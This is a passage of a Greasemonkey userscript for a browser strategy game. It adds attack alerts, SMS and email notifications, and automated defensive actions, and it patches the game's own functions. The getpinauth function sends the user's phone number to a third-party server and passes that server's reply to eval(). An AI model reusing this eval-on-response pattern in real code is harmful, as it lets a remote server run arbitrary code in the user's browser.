        42: { 'country': "INDIA", 'provider': "Maharashtra Airtel" },
        43: { 'country': "INDIA", 'provider': "Maharashtra BPL Mobile" },
        44: { 'country': "INDIA", 'provider': "Maharashtra Idea Cellular" },
        45: { 'country': "INDIA", 'provider': "Mumbai Airtel" },
        46: { 'country': "INDIA", 'provider': "Mumbai BPL Mobile" },
        47: { 'country': "INDIA", 'provider': "Punjab Airtel" },
        48: { 'country': "INDIA", 'provider': "Pondicherry BPL Mobile" },
        49: { 'country': "INDIA", 'provider': "Tamil Nadu Airtel" },
        50: { 'country': "INDIA", 'provider': "Tamil Nadu BPL Mobile" },
        51: { 'country': "INDIA", 'provider': "Tamil Nadu Aircel" },
        52: { 'country': "INDIA", 'provider': "Uttar Pradesh West Escotel" },
        53: { 'country': "IRELAND", 'provider': "Meteor" },
        54: { 'country': "IRELAND", 'provider': "Meteor MMS" },
        55: { 'country': "ITALY", 'provider': "TIM" },
        56: { 'country': "ITALY", 'provider': "Vodafone" },
        57: { 'country': "JAPAN", 'provider': "AU by KDDI" },
        58: { 'country': "JAPAN", 'provider': "NTT DoCoMo" },
        59: { 'country': "JAPAN", 'provider': "Vodafone Chuugoku/Western" },
        60: { 'country': "JAPAN", 'provider': "Vodafone Hokkaido" },
        61: { 'country': "JAPAN", 'provider': "Vodafone Hokuriko/Central North" },
        62: { 'country': "JAPAN", 'provider': "Vodafone Kansai/West, including Osaka" },
        63: { 'country': "JAPAN", 'provider': "Vodafone Kanto/Koushin/East including Tokyo" },
        64: { 'country': "JAPAN", 'provider': "Vodafone Kyuushu/Okinawa" },
        65: { 'country': "JAPAN", 'provider': "Vodafone Shikoku" },
        66: { 'country': "JAPAN", 'provider': "Vodafone Touhoku/Niigata/North" },
        67: { 'country': "JAPAN", 'provider': "Vodafone Toukai/Central" },
        68: { 'country': "JAPAN", 'provider': "Willcom" },
        69: { 'country': "JAPAN", 'provider': "Willcom di" },
        70: { 'country': "JAPAN", 'provider': "Willcom dj" },
        71: { 'country': "JAPAN", 'provider': "Willcom dk" },
        72: { 'country': "NETHERLANDS", 'provider': "T-Mobile" },
        73: { 'country': "NETHERLANDS", 'provider': "Orange" },
        74: { 'country': "SINGAPORE", 'provider': "M1" },
        75: { 'country': "SOUTH AFRICA", 'provider': "Vodacom" },
        76: { 'country': "SPAIN", 'provider': "Telefonica Movistar" },
        77: { 'country': "SPAIN", 'provider': "Vodafone" },
        78: { 'country': "SWEDEN", 'provider': "Tele2" },
        79: { 'country': "UNITED STATES", 'provider': "Teleflip" },
        80: { 'country': "UNITED STATES", 'provider': "Alltel" },
        81: { 'country': "UNITED STATES", 'provider': "Ameritech" },
        82: { 'country': "UNITED STATES", 'provider': "ATT Wireless" },
        83: { 'country': "UNITED STATES", 'provider': "Bellsouth" },
        84: { 'country': "UNITED STATES", 'provider': "Boost" },
        85: { 'country': "UNITED STATES", 'provider': "CellularOne" },
        86: { 'country': "UNITED STATES", 'provider': "CellularOne MMS" },
        87: { 'country': "UNITED STATES", 'provider': "Cingular" },
        88: { 'country': "UNITED STATES", 'provider': "Edge Wireless" },
        90: { 'country': "UNITED STATES", 'provider': "T-Mobile" },
        91: { 'country': "UNITED STATES", 'provider': "Metro PCS" },
        92: { 'country': "UNITED STATES", 'provider': "Nextel" },
        93: { 'country': "UNITED STATES", 'provider': "O2" },
        94: { 'country': "UNITED STATES", 'provider': "Orange" },
        95: { 'country': "UNITED STATES", 'provider': "Qwest" },
        96: { 'country': "UNITED STATES", 'provider': "Rogers Wireless" },
        97: { 'country': "UNITED STATES", 'provider': "Telus Mobility" },
        98: { 'country': "UNITED STATES", 'provider': "US Cellular" },
        99: { 'country': "UNITED STATES", 'provider': "Verizon" },
        100: { 'country': "UNITED STATES", 'provider': "Virgin Mobile" },
        101: { 'country': "UNITED KINGDOM", 'provider': "O2 1" },
        102: { 'country': "UNITED KINGDOM", 'provider': "O2 2" },
        103: { 'country': "UNITED KINGDOM", 'provider': "Orange" },
        104: { 'country': "UNITED KINGDOM", 'provider': "T-Mobile" },
        105: { 'country': "UNITED KINGDOM", 'provider': "Virgin Mobile" },
        106: { 'country': "UNITED KINGDOM", 'provider': "Vodafone" },
        107: { 'country': "BELGIUM", 'provider': "mobistar" },
        108: { 'country': "GERMANY", 'provider': "1und1" },
        109: { 'country': "UNITED STATES", 'provider': "MyCricket" },
        110: { 'country': "Philippines", 'provider': "Smart" },
        111: { 'country': "UNITED STATES", 'provider': "CellularSouth" },
        112: { 'country': "UNITED STATES", 'provider': "Viaero" },
        113: { 'country': "CANADA", 'provider': "Wind Mobile" },
        114: { 'country': "UNITED STATES", 'provider': "Sprint PCS" }
	},
	
	init: function(div){
		var t = Tabs.tower;
		if(unsafeWindow.update_march) {
			t.updatemarchfunc = new CalterUwFunc ('update_march', [[/var\s*w\s*=\s*cm.IncomingAttackManager.getAllAttacks/i,'var Dar = seed.queue_atkinc\[o\];Dar.marchStatus = D.marchStatus;RecIncT\(Dar\);var w = cm.IncomingAttackManager.getAllAttacks']]);
			unsafeWindow.RecIncT = Tabs.tower.newIncoming;
			t.updatemarchfunc.setEnable(true);
		};
		t.myDiv = div;
		if (GM_getValue ('towerMarches_'+getServerId()) != null)
			GM_deleteValue ('towerMarches_'+getServerId());   // remove deprecated data if it exists
 
		var m = '<DIV class=pbStat>TOWER ALERTS</div><TABLE class=pbTab><TR align=center>';

		for (var i=0; i<Cities.cities.length; i++)
			m += '<TD width=95><SPAN id=pbtacity_'+ i +'>' + Cities.cities[i].name + '</span></td>';
			m += '</tr><TR align=center>';
			for (var cityId in Cities.byID)
				m += '<TD><INPUT type=submit id=pbtabut_'+ cityId +' value=""></td>';
			m += '</tr><TR align=center>';
			for (var cityId in Cities.byID)
				m += '<TD><CENTER><INPUT id=pbattackqueue_' + cityId + ' type=submit value="A 0 | S 0"></center></td>';
			m += '</tr><TR align=center><td colspan='+Cities.cities.length+'>City-specific chat alert text :-</td></tr><TR align=center>';
			for (var cityId in Cities.byID) {
				m+= '<TD><CENTER><INPUT id=towertext_'+cityId+' type=text style="width: 80px;" name='+cityId+' value="'+(Options.alertConfig.towercitytext[cityId]?Options.alertConfig.towercitytext[cityId]:"")+'"></CENTER></TD>';
			};
			m += '</tr></table><BR><DIV><CENTER><INPUT id=pboldattacks type=submit value="'+unsafeWindow.g_js_strings.commonstr.post+' '+unsafeWindow.g_js_strings.ImpendingAttacks.incoming+' '+unsafeWindow.g_js_strings.commonstr.totx+' '+unsafeWindow.g_js_strings.commonstr.chat+'"/>&nbsp;<INPUT id=pbSoundStop type=submit value="'+translate("Stop Sound Alert")+'">&nbsp;<INPUT type=submit value="'+translate("Play Sound Alert Now")+'" id=pbPlayNow></center></div><DIV id=pbSwfPlayer></div>';
			m += '<BR><DIV class=pbStat>'+translate("SETUP")+'</div><TABLE class=pbTab>';
			m += '<TR><td align=center>&nbsp;</td><TD align=left><b>'+translate("Minimum number of troops to trigger tower options")+':&nbsp;<INPUT id=pbalertTroops type=text size=7 value="'+ Options.alertConfig.minTroops +'" \></b>&nbsp;<span style="color:#800; font-weight:bold"><sup>*Controls All Tower Options</sup></span></td></tr>';
			m += '<TR><TD><INPUT id=pbalertEnable type=checkbox '+ (Options.alertConfig.aChat?'CHECKED ':'') +'/></td><TD>'+translate("Automatically post incoming attacks to alliance chat")+'.</td></tr>\
					<TR><TD>&nbsp;</td><TD><TABLE cellpadding=0 cellspacing=0>\
					<TR><TD colspan=6>'+translate("Message Prefix")+':&nbsp;<INPUT id=pbalertPrefix type=text size=60 maxlength=120 value="'+ Options.alertConfig.aPrefix +'" \></td><tr>\
					<TR><TD><INPUT id=pbalertScout type=checkbox '+ (Options.alertConfig.scouting?'CHECKED ':'') +'/></td><TD>'+translate("Alert on scouting")+'&nbsp;&nbsp;</td>\
					<TD><INPUT id=pbalertWild type=checkbox '+ (Options.alertConfig.wilds?'CHECKED ':'') +'/></td><TD>'+translate("Alert on wild attack")+'&nbsp;&nbsp;</td>\
					<TD><INPUT id=pbalertDefend type=checkbox '+ (Options.alertConfig.defend?'CHECKED ':'') +'/></td><TD>'+translate("Display defend status")+'&nbsp;&nbsp;</td>\
					</table></td></tr>';
			m += '<TR><TD><INPUT id=pbalertemail type=checkbox '+ (Options.alertConfig.email?'CHECKED ':'') +'/></td><TD>'+translate("Email on incoming attack")+':&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Email App: <input id=pbKoctomail type=radio name=pbemailapp '+((Options.alertConfig.emailapp==1)?'CHECKED':'')+'>Koc2Mail (Moshimo)&nbsp;<span style="color:#800; font-weight:bold"><sup>*Requires refresh</sup></span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input id=pbKocalert type=radio name=pbemailapp '+((Options.alertConfig.emailapp==0)?'CHECKED':'')+'>KocAlert (Baos)&nbsp;<INPUT id=pbathemail type=submit value='+translate("Authenticate")+' ></td></tr>';
			m += '</table>';
			m += '<BR><DIV class=pbStat>'+translate("Actions")+'</div><TABLE class=pbTab>\
					<TR><TD><INPUT id=pbalertraid type=checkbox '+ (Options.alertConfig.raid?'CHECKED':'') +'/></td><td>'+translate("Stop raids on impending")+'</td></tr>\
					<TR><TD><INPUT id=pbalerttoff type=checkbox '+ (Options.alertConfig.alertTRtoff?'CHECKED ':'') +'/></td><td>'+translate("Stop auto outgoing marches on impending")+'</td></tr>\
					<TR><TD><INPUT id=pbalertTRAFK type=checkbox '+ (Options.alertConfig.AFK?'CHECKED ':'') +'/></td><td>Only do the following when AFK... (untick this to always do these actions on impending)</td></tr>\
					<TR><TD>&nbsp;</td><TD><INPUT id=pbalertTR type=checkbox '+ (Options.alertConfig.alertTR?'CHECKED ':'') +'/>&nbsp;'+translate("Toggle to TR set ")+' <INPUT id=pbalertTRset type=text size=2 maxlength=2 value="'+ Options.alertConfig.alertTRset +'"> '+translate("on impending")+'</td></tr>\
					<TR><TD>&nbsp;</td><TD><INPUT id=pbalertguard type=checkbox '+ (Options.alertConfig.guardian?'CHECKED ':'') +'/>&nbsp;'+translate("Toggle to wood guardian on impending")+'</td></tr>\
					<TR><TD><INPUT id=pbalertTR2 type=checkbox '+ (Options.alertConfig.alertTR2?'CHECKED ':'') +'/></td><TD> '+translate("Revert TR, Guardian, and Marches back after: ")+' <INPUT id=pbalertTRsetmin type=text size=3 maxlength=3 value="'+ Options.alertConfig.alertTRsetwaittime +'"> '+translate("minutes without incoming attack")+'</td></tr>';
			
			m += '</table>';
			m += '<BR><DIV class=pbStat>'+translate("Text Messaging Options")+'</div><TABLE class=pbTab>\
					<tr><td align=left><INPUT id=pbcellenable type=checkbox '+ (Options.celltext.atext?'CHECKED ':'') +'/></td>\
					<td align=left>'+translate("Text message incoming attack to")+': <INPUT id=pbnum1 type=text size=4 maxlength=4 value="'+ Options.celltext.num1 +'"  '+(Options.celltext.provider==0?'DISABLED':'')+'\>\
					&nbsp;<INPUT id=pbnum2 type=text size=3 maxlength=3 value="'+ Options.celltext.num2 +'"  '+(Options.celltext.provider==0?'DISABLED':'')+'\>\
					&nbsp;<INPUT id=pbnum3 type=text size=4 maxlength=4 value="'+ Options.celltext.num3 +'"  '+(Options.celltext.provider==0?'DISABLED':'')+'\> <span style="color:#800; font-weight:bold"><sup>*'+translate("Standard text messaging rates apply")+'</sup></span></td></tr><tr><td></td>\
					<TD align=left>'+translate("Country")+': <select id="pbfrmcountry">';
			for (var i in t.Providers) {
				var ret=m.indexOf(t.Providers[i].country);
				if (ret==-1) {
					if(t.Providers[Options.celltext.provider]){
						if (t.Providers[i].country==t.Providers[Options.celltext.provider].country) {
							m += '<option value="'+t.Providers[i].country+'" selected="selected">'+t.Providers[i].country+'</option>'; // Load Previous Provider Selection
						} else {
							m += '<option value="'+t.Providers[i].country+'">'+t.Providers[i].country+'</option>';
						}
					} else {
						m += '<option value="'+t.Providers[i].country+'">'+t.Providers[i].country+'</option>';
					}
				}
			}
    
			m += '</select>\
			<select id="pbfrmprovider" '+(Options.celltext.provider==0?'DISABLED':'')+'><option value=0 >--'+translate("Provider")+'--</option>';
			for (var i in t.Providers) {
				if(t.Providers[Options.celltext.provider]){
					if(t.Providers[i].country == t.Providers[Options.celltext.provider].country)
						if(Options.celltext.provider == i)
							m += '<option value="'+i+'" selected="selected">'+t.Providers[i].provider+'</option>'; // Load Previous Provider Selection
						else {
							m += '<option value="'+i+'">'+t.Providers[i].provider+'</option>';
						}
				} else {
					m += '<option value="'+i+'">'+t.Providers[i].provider+'</option>';
				}
			}

			m += '</select> <FONT COLOR=RED>REQUIRED </FONT> PIN:<INPUT id=pbcellpin type=text size=6 maxlength=5 value="'+ (GlobalOptions.cellpin?GlobalOptions.cellpin:'') +'"  '+(Options.celltext.provider==0?'DISABLED':'')+'\> <INPUT id=pbgetpin type=submit value="'+translate("GET PIN CODE")+'" ></td></tr>';
			m += '<tr><td align=left><INPUT id=pbcellextended type=checkbox '+ (Options.celltext.extended?'CHECKED ':'') +'/></td>\
					<td align=left>'+translate("Send troop info in text")+'<span style="color:#800; font-weight:bold"><sup>*'+translate("Multiple text messages per attack. Standard text messaging rates apply")+'</sup></span></td></tr><tr><td></td></table>';
					
			m += '<BR><DIV class=pbStat>'+translate("Sound Alert Options")+'</div><TABLE class=pbTab>\
					<TR><TD><INPUT id=pbSoundEnable type=checkbox '+ (Options.alertSound.enabled?'CHECKED ':'') +'/></td><TD>'+translate("Play sound on incoming attack/scout")+'</td></tr>\
					<TR><TD></td><TD><DIV id=pbLoadingSwf>'+translate("Loading SWF player")+'</div><DIV style="display:none" id=pbSoundOpts><TABLE cellpadding=0 cellspacing=0>\
					<TR><TD align=right>'+translate("Sound file")+': &nbsp; </td><TD><INPUT id=pbsoundFile type=text size=40 maxlength=1000 value="'+ Options.alertSound.soundUrl +'" \>\
					&nbsp; </td><TD><INPUT id=pbSoundLoad type=submit value='+translate("Load")+' ><INPUT id=pbSoundDefault type=submit value='+translate("Default")+' ></td></tr>\
					<TR><TD align=right>'+translate("Volume")+': &nbsp; </td><TD><TABLE cellpadding=0 cellspacing=0 class=pbTab><TR valign=middle><TD><SPAN id=pbVolSlider></span></td><TD width=15></td><TD align=right id=pbVolOut>0</td></td></table></td><TD align=center><SPAN id=pbLoadStat>xx</span></td></tr>\
					<TR><TD align=right><INPUT id=pbSoundRepeat type=checkbox '+ (Options.alertSound.repeat?'CHECKED ':'') +'/></td><TD> '+translate("Repeat every")+' <INPUT id=pbSoundEvery type=text size=2 maxlength=5 value="'+ Options.alertSound.repeatDelay +'"> '+translate("minutes")+'</td></tr>\
					<TR><TD></td><TD>Play for <INPUT id=pbSoundLength type=text size=3 maxlength=5 value="'+ Options.alertSound.playLength +'"> '+translate("seconds")+'</td></tr>\
					</table></div></td></tr>\
					</table><BR>';
			t.myDiv.innerHTML = m;

//   		t.mss = new CmatSimpleSound(SWF_PLAYER_URL, null, {height:36, width:340}, t.e_swfLoaded, 'debug=y');
			t.mss = new CmatSimpleSound(SWF_PLAYER_URL, null, {height:0, width:0}, t.e_swfLoaded, 'debug=n');
			//t.mss.swfDebug = function (m){ logit ('SWF: '+ m)};
			t.mss.swfPlayComplete = t.e_soundFinished;
			t.mss.swfLoadComplete = t.e_soundFileLoaded;
			unsafeWindow.matSimpleSound01 = t.mss;   // let swf find it

			t.volSlider = new SliderBar (document.getElementById('pbVolSlider'), 200, 21, 0);
			t.volSlider.setChangeListener(t.e_volChanged);
			document.getElementById('pbcellpin').addEventListener ('change', function(){
				GlobalOptions.cellpin = this.value;
				GM_setValue ('Options_??', JSON2.stringify(GlobalOptions));
			},false);  
			document.getElementById('pbPlayNow').addEventListener ('click', function (){t.playSound(false)}, false);
			document.getElementById('pbathemail').addEventListener ('click', t.e_authenticate, false);
			document.getElementById('pbSoundStop').addEventListener ('click', t.stopSoundAlerts, false);
			document.getElementById('pbSoundRepeat').addEventListener ('change', function (e){Options.alertSound.repeat = e.target.checked}, false);
			document.getElementById('pbSoundEvery').addEventListener ('change', function (e){Options.alertSound.repeatDelay = e.target.value}, false);
			document.getElementById('pbSoundLength').addEventListener ('change', function (e){Options.alertSound.playLength = e.target.value}, false);
			document.getElementById('pbSoundEnable').addEventListener ('change', function (e){Options.alertSound.enabled = e.target.checked}, false);
			document.getElementById('pbcellenable').addEventListener ('change', function (e){Options.celltext.atext = e.target.checked;}, false);
			document.getElementById('pbcellextended').addEventListener ('change', function (e){Options.celltext.extended = e.target.checked;}, false);
			document.getElementById('pbSoundStop').disabled = true;
			document.getElementById('pbalertemail').addEventListener ('change', t.e_alertOptChanged, false);
			document.getElementById('pbKoctomail').addEventListener('change', function () {
				if (document.getElementById('pbKoctomail').checked) { Options.alertConfig.emailapp=1; saveOptions(); }
			}, false);
			document.getElementById('pbKocalert').addEventListener('change', function () {
				if (document.getElementById('pbKocalert').checked) { Options.alertConfig.emailapp=0; saveOptions(); }
			}, false);
			document.getElementById('pbalertEnable').addEventListener ('change', t.e_alertOptChanged, false);
			document.getElementById('pbalertPrefix').addEventListener ('change', t.e_alertOptChanged, false);
			document.getElementById('pbalertScout').addEventListener ('change', t.e_alertOptChanged, false);
			document.getElementById('pbalertWild').addEventListener ('change', t.e_alertOptChanged, false);
			document.getElementById('pbalertDefend').addEventListener ('change', t.e_alertOptChanged, false);
			document.getElementById('pbalertTroops').addEventListener ('change', t.e_alertOptChanged, false);
			document.getElementById('pbfrmcountry').addEventListener ('change', t.setCountry, false);
			document.getElementById('pbfrmprovider').addEventListener ('change', t.setProvider, false);
			document.getElementById('pbnum1').addEventListener ('change', t.phonenum, false);
			document.getElementById('pbnum2').addEventListener ('change', t.phonenum, false);
			document.getElementById('pbnum3').addEventListener ('change', t.phonenum, false);
			document.getElementById('pbalertraid').addEventListener ('change', t.e_alertOptChanged, false);
			document.getElementById('pbalertTR').addEventListener ('change', t.e_alertOptChanged, false);
			document.getElementById('pbalertTRset').addEventListener ('change', t.e_alertOptChanged, false);
			document.getElementById('pbalertguard').addEventListener ('change', t.e_alertOptChanged, false);
			document.getElementById('pbalertTR2').addEventListener ('change', t.e_alertOptChanged, false);
			document.getElementById('pbalerttoff').addEventListener ('change', t.e_alertOptChanged, false);
			document.getElementById('pbalertTRsetmin').addEventListener ('change', t.e_alertOptChanged, false);
			document.getElementById('pbalertTRAFK').addEventListener ('click', t.e_alertOptChanged, false);
			document.getElementById('pboldattacks').addEventListener ('click', t.oldIncoming, false);
			document.getElementById('pbgetpin').addEventListener ('click', t.getpinauth, false);
			document.getElementById('pbsoundFile').addEventListener ('change', function (){
				Options.alertSound.soundUrl = document.getElementById('pbsoundFile').value;
				t.loadUrl (Options.alertSound.soundUrl);
			}, false);
			document.getElementById('pbSoundDefault').addEventListener ('click', function (){
			document.getElementById('pbsoundFile').value = DEFAULT_ALERT_SOUND_URL;
				Options.alertSound.soundUrl = DEFAULT_ALERT_SOUND_URL;
				t.loadUrl (DEFAULT_ALERT_SOUND_URL);
			}, false);

			for (var cityId in Cities.byID){
				//m+= '<TD><CENTER><INPUT id=towertext_'+cityId+' type=text size=10 value='+(Options.alertConfig.towercitytext[cityId]?Options.alertConfig.towercitytext[cityId]:"")+'></CENTER></TD>';
				document.getElementById ('towertext_'+ cityId).addEventListener('change',function(e){Options.alertConfig.towercitytext[e.target.name] = e.target.value;saveOptions();},false);
    	
				var but = document.getElementById ('pbtabut_'+ cityId);
				addListener (but, cityId);
				t.defMode[cityId] =  parseInt(Seed.citystats["city" + cityId].gate);
				t.displayDefMode (cityId);
				var btnNameT = 'pbattackqueue_' + cityId;
				addTowerEventListener(cityId, btnNameT);
			}
			function addListener (but, i){
				but.addEventListener ('click', function (){t.butToggleDefMode(i)}, false);
			}
			function addTowerEventListener(cityId, name){
				document.getElementById(name).addEventListener('click', function(){
				t.showTowerIncoming(cityId);
			}, false);
		}    
		setInterval (t.eachSecond, 2000);
       
		GM_addStyle("a.city.defending { border-top: 4px; border-bottom: 4px; border-left: 0px; border-right: 0px; border-style: solid; margin-top: 0px; border-color: red;}");
		GM_addStyle("a.city.hiding    { border-top: 4px; border-bottom: 4px; border-left: 0px; border-right: 0px; border-style: solid; margin-top: 0px; border-color: blue;}");
		t.origUCL = unsafeWindow.update_citylist;
		t.cityBtnColor();
	},      

	show : function (){
	},
  
	hide : function (){
	},
	
	getpinauth : function () {
		var dt = {};
		dt.provider = Options.celltext.provider;
		dt.num1 = Options.celltext.num1;
		dt.num2 = Options.celltext.num2;
		dt.num3 = Options.celltext.num3;

		GM_xmlhttpRequest({
			method: 'POST',
			url: http+'baos.kocscripters.com/getpin.php',
			headers: { 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', },
			data: implodeUrlArgs(dt),
			onload: function (message) {
				if(message.status != 200) alert('request failed, try again');
				else {
					var rslt = eval("(" + message.responseText + ")");
					//alert(inspect(rslt));
					if(rslt.ok) alert("check for text containing pin code");
					else if(rslt.dup) alert('duplicate record, pin already sent');
					else if(rslt.inv) alert('Invalid request');
					else alert('Bad Mojo going on, try again later');
				};
			},
		});
	},
  
	cityBtnColor : function () {
		// override update_citylist function
		// 
		var usl = function () {
			var t =Tabs.tower;

			// call the kabam function
			t.origUCL();
        
			// fix the borders
			for (var cityId in Cities.byID){
				if (Seed.citystats["city" + cityId].gate != t.defMode[cityId]){     // user changed def mode
					t.defMode[cityId] = Seed.citystats["city"+ cityId].gate;
				}
				t.displayDefMode (cityId);
			}

		};

		if (Options.colorCityTabs) {
			unsafeWindow.update_citylist = usl;
		}
		else { 
			unsafeWindow.jQuery("a.city").removeClass("defending");
			unsafeWindow.jQuery("a.city").removeClass("hiding");
			unsafeWindow.update_citylist = Tabs.tower.origUCL;
		}
	},
 
	loadUrl : function (url){
		var t = Tabs.tower;
		t.mss.load (1, url, true);
		document.getElementById('pbLoadStat').innerHTML = translate('Loading');
	},
	
	phonenum : function() {
		Options.celltext.num1 = document.getElementById('pbnum1').value;
		Options.celltext.num2 = document.getElementById('pbnum2').value;
		Options.celltext.num3 = document.getElementById('pbnum3').value;
		saveOptions();
	},

	setCountry : function(){
		var t = Tabs.tower;
		var myselect=document.getElementById("pbfrmprovider");
		myselect.innerHTML = '<option value=0 >--'+translate("Provider")+'--</option>';
		myselect.disabled = true;
		for (var i in t.Providers) {
			if (t.Providers[i].country == document.getElementById("pbfrmcountry").value){
				var addoption = document.createElement('option');
				addoption.value = i;
				addoption.text = t.Providers[i].provider;
				myselect.add(addoption, null) //add new option to end of "Providers"
			}
		}
		myselect.disabled = false;
	},

	setProvider : function(){
		var ddProvider = document.getElementById("pbfrmprovider").wrappedJSObject;
		Options.celltext.provider=ddProvider.options[ddProvider.selectedIndex].value;
		if(ddProvider.selectedIndex > 0){
			document.getElementById("pbnum1").disabled = false;
			document.getElementById("pbnum2").disabled = false;
			document.getElementById("pbnum3").disabled = false;
		} else {
			document.getElementById("pbnum1").disabled = true;
			document.getElementById("pbnum2").disabled = true;
			document.getElementById("pbnum3").disabled = true;
		}
		//alert(Options.celltext.provider);
	},

	e_swfLoaded : function (){
		var t = Tabs.tower;
		document.getElementById('pbLoadingSwf').style.display = 'none';
		document.getElementById('pbSoundOpts').style.display = 'inline';
		t.volSlider.setValue (Options.alertSound.volume/100);
		setTimeout (function (){t.loadUrl (Options.alertSound.soundUrl);},500);
		setTimeout (function (){t.mss.setVolume (1, Options.alertSound.volume);}, 1000);
		if (Options.alertSound.alarmActive && Options.alertSound.expireTime>unixTime())   
			t.soundTheAlert();
	},
	
	e_authenticate: function (){
		var x = window.open();
		x.location=http+"baos.kocscripters.com/kocalert/index.php";
	},
	
	e_alertOptChanged : function (){
		var t = Tabs.tower;
		Options.alertConfig.email = document.getElementById('pbalertemail').checked;
		Options.alertConfig.aChat = document.getElementById('pbalertEnable').checked;
		Options.alertConfig.aPrefix=document.getElementById('pbalertPrefix').value;      
		Options.alertConfig.scouting=document.getElementById('pbalertScout').checked;      
		Options.alertConfig.wilds=document.getElementById('pbalertWild').checked;
		Options.alertConfig.defend=document.getElementById('pbalertDefend').checked;
		Options.alertConfig.raid=document.getElementById('pbalertraid').checked;
		Options.alertConfig.alertTR=document.getElementById('pbalertTR').checked;
		Options.alertConfig.alertTR2=document.getElementById('pbalertTR2').checked;
		Options.alertConfig.alertTRtoff=document.getElementById('pbalerttoff').checked;
		Options.alertConfig.guardian=document.getElementById('pbalertguard').checked;
		Options.alertConfig.AFK=document.getElementById('pbalertTRAFK').checked;
		var trset = parseInt(document.getElementById('pbalertTRset').value);
		Options.alertConfig.alertTRset = trset;
		var trsetwait = parseInt(document.getElementById('pbalertTRsetmin').value);
		Options.alertConfig.alertTRsetwaittime = trsetwait;
		var mt = parseInt(document.getElementById('pbalertTroops').value);
		if (mt<1 || mt>1500000){
			document.getElementById('pbalertTroops').value = Options.alertConfig.minTroops;
			document.getElementById('pbalerterr').innerHTML = '<font color=#600000><B>'+translate("INVALID")+'</b></font>';
			setTimeout (function (){document.getElementById('pbalerterr').innerHTML =''}, 2000);
			return;
		}
		Options.alertConfig.minTroops = mt;
		saveOptions();
	},
  
	e_volChanged : function (val){
		var t = Tabs.tower;
		document.getElementById('pbVolOut').innerHTML = parseInt(val*100);
		Options.alertSound.volume = parseInt(val*100);
		t.mss.setVolume (1, Options.alertSound.volume);
	},
  
	butToggleDefMode : function (cityId){
		var t = Tabs.tower;
		var mode = 1;
		if (Seed.citystats["city" + cityId].gate != 0)
			mode = 0;
		t.ajaxSetDefMode (cityId, mode, function (newMode){
			t.defMode[cityId] = newMode;
			t.displayDefMode (cityId);
		});
	},
      
	displayDefMode : function (cityId){
		var t = Tabs.tower;
		var but = document.getElementById('pbtabut_'+ cityId);
    
		var city_num = Cities.byID[cityId].idx +1;
    
		if (t.defMode[cityId]){
			but.className = 'pbDefButOn';
			but.value = 'Def = ON';  
			if (Options.colorCityTabs) unsafeWindow.jQuery("#citysel_" + city_num).removeClass("hiding").addClass("defending");
		} else {
			but.className = 'pbDefButOff';
			but.value = 'Def = OFF';  
			if (Options.colorCityTabs) unsafeWindow.jQuery("#citysel_" + city_num).removeClass("defending").addClass("hiding");
		}  
	},
    
	eachSecond : function (){
		var t = Tabs.tower;
		for (var cityId in Cities.byID) {
			if (Seed.citystats["city" + cityId].gate != t.defMode[cityId]) {     // user changed def mode
				t.defMode[cityId] = Seed.citystats["city"+ cityId].gate;
				t.displayDefMode (cityId);
			}
			Options.alertConfig.raidautoswitch[cityId] = false;
			Options.alertConfig.guardautoswitch[cityId] = false;
		}
		var now = unixTime();
		var incomming = false;
		for (var k in Seed.queue_atkinc) {   // check each incoming march
			var m = Seed.queue_atkinc[k];
			if (m.marchType==3 || m.marchType==4) {
				if(Options.alertConfig.lastatkarr.indexOf(Number(m.mid)) == -1) {
					Options.alertConfig.lastatkarr.push(Number(m.mid));
					Options.alertConfig.lastarrtime.push(Number(m.arrivalTime));
					if (Number(m.arrivalTime) > Options.alertConfig.lastAttack) Options.alertConfig.lastAttack = Number(m.arrivalTime);//for tr toggle back
					saveOptions();
					t.newIncoming (m);
				};
				incomming = true;
			}
		}      
		if (Options.alertConfig.raid && incomming){
			Options.alertConfig.raidautoswitch[m.toCityId] = true;
		};
		if (Options.alertConfig.guard && incomming){
			Options.alertConfig.guardautoswitch[m.toCityId] = true;
		}
		if(!incomming) Options.alertConfig.lastatkarr = new Array();
		saveOptions();
		if(Options.alertConfig.RecentActivity) {
			if(Options.alertConfig.alertTR2) {
				if(!incomming) {
					var switchtime = parseInt(Options.alertConfig.lastAttack)+Options.alertConfig.alertTRsetwaittime*60;
					if (switchtime < now) {
						if(Options.alertConfig.alertTRtoff) {
							if(Options.SaveState.transport && !Tabs.transport.traderState.running)Tabs.transport.toggleTraderState();
							if(Options.SaveState.farm && !FarmOptions.Running)Tabs.farm.toggleBarbState();
							if(Options.SaveState.darkforest && !AttackOptions.Running)Tabs.Barb.toggleBarbState();
							if(Options.SaveState.crest && !Options.crestRunning)Tabs.Attack.toggleCrestState();
						};
						if (Options.SaveState.trset != Seed.throne.activeSlot)
							if(Options.alertConfig.AFK) {
								if(isAFK) {
									Tabs.Throne.doPreset(Options.SaveState.trset);
									if(Options.alertConfig.guardian) {
										for (var cityId in Cities.byID){
											if(Options.SaveState.guardian[cityId] && Seed.buildings["city"+ cityId].pos500[0] != Options.SaveState.guardian[cityId]) 
												t.changeGuardian(cityId,parseInt(Options.SaveState.guardian[cityId]));
											Options.alertConfig.guardautoswitch[cityId] = false;
										}
									};
								}
							} else {
								Tabs.Throne.doPreset(Options.SaveState.trset);
								for (var cityId in Cities.byID){
									if(Options.SaveState.guardian[cityId] && Seed.buildings["city"+ cityId].pos500[0] != Options.SaveState.guardian[cityId]) 
										t.changeGuardian(cityId,parseInt(Options.SaveState.guardian[cityId]));
									Options.alertConfig.guardautoswitch[cityId] = false;
								}
							}
						Options.alertConfig.RecentActivity = false;
						saveOptions();
					}
				}
			}
		}
		if (incomming && !document.getElementById("towersirentab") && Options.alertSound.enabled){
			AddSubTabLink('!Silence Alarm!',t.stopSoundAlerts, 'towersirentab');
			document.getElementById('towersirentab').innerHTML = '<span style="color: red">Silence Alarm!</span>';
		}
		if (Options.alertSound.alarmActive && (now > Options.alertSound.expireTime)){
			var element = document.getElementById('towersirentab');
			if(element)
				element.parentNode.removeChild(element);
			t.stopSoundAlerts();
		}

		t.towerMarches = [];
		for (var i = 0; i < Cities.cities.length; i++) {
			var cId = Cities.cities[i].id;
			t['attackCount_' + cId] = 0;
			t['scoutCount_' + cId] = 0;
		}
		if (matTypeof(Seed.queue_atkinc) != 'array') {
			for (var k in Seed.queue_atkinc) {
				var m = Seed.queue_atkinc[k];
